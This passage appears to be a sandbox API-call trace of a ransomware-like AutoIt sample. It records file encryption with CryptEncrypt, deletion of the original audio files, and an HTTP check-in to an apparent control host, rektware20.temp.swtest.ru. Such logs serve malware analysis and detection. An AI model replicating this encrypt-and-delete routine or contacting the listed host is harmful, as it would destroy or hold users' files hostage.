lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.141] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.142] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.142] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.142] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e62e8*, pdwDataLen=0x130e618*=0x157c4, dwBufLen=0x157d0 | out: pbData=0x17e62e8*, pdwDataLen=0x130e618*=0x157d0) returned 1 [0064.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.142] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.142] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.142] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.142] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.142] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.142] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.142] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.143] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.143] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.143] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.149] WriteFile (in: hFile=0x2ac, lpBuffer=0x18927e8*, nNumberOfBytesToWrite=0x157d0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x18927e8*, lpNumberOfBytesWritten=0x130f01c*=0x157d0, lpOverlapped=0x0) returned 1 [0064.151] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.151] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.151] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0064.151] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.152] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.152] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0064.152] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0064.152] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0064.152] CryptDestroyKey (hKey=0x164c630) returned 1 [0064.152] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.152] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.152] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.152] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.153] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.153] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.153] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.153] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.153] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.153] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0064.153] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.153] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.153] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.153] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.153] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.153] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.153] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.153] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.153] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.154] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.154] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.154] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.154] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.154] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.154] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.154] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.154] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.154] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.154] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0064.155] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0064.155] CryptReleaseContext (hProv=0x17ab550, dwFlags=0x0) returned 1 [0064.155] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.155] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.155] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.155] FreeLibrary (hLibModule=0x74c60000) returned 1 [0064.155] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.155] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.155] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.155] CloseHandle (hObject=0x3bc) returned 1 [0064.155] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.156] CloseHandle (hObject=0x2ac) returned 1 [0064.158] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.162] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.162] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", lpFilePart=0x0) returned 0x3e [0064.162] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\rj1urn.wav")) returned 0x20 [0064.163] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6b0 [0064.163] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\rj1urn.wav")) returned 1 [0064.165] FindNextFileW (in: hFindFile=0x164c6b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0064.165] FindClose (in: hFindFile=0x164c6b0 | out: hFindFile=0x164c6b0) returned 1 [0064.166] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.166] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.166] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.166] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.166] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0064.166] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0064.166] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.166] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0064.166] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.166] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0064.166] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0064.166] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c) returned 1 [0064.166] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.166] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.167] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.167] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0064.167] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0064.167] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0064.167] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0064.167] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0064.167] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.168] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.168] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.168] CloseHandle (hObject=0x0) returned 0 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LxtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xtGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tGe9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ge9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) 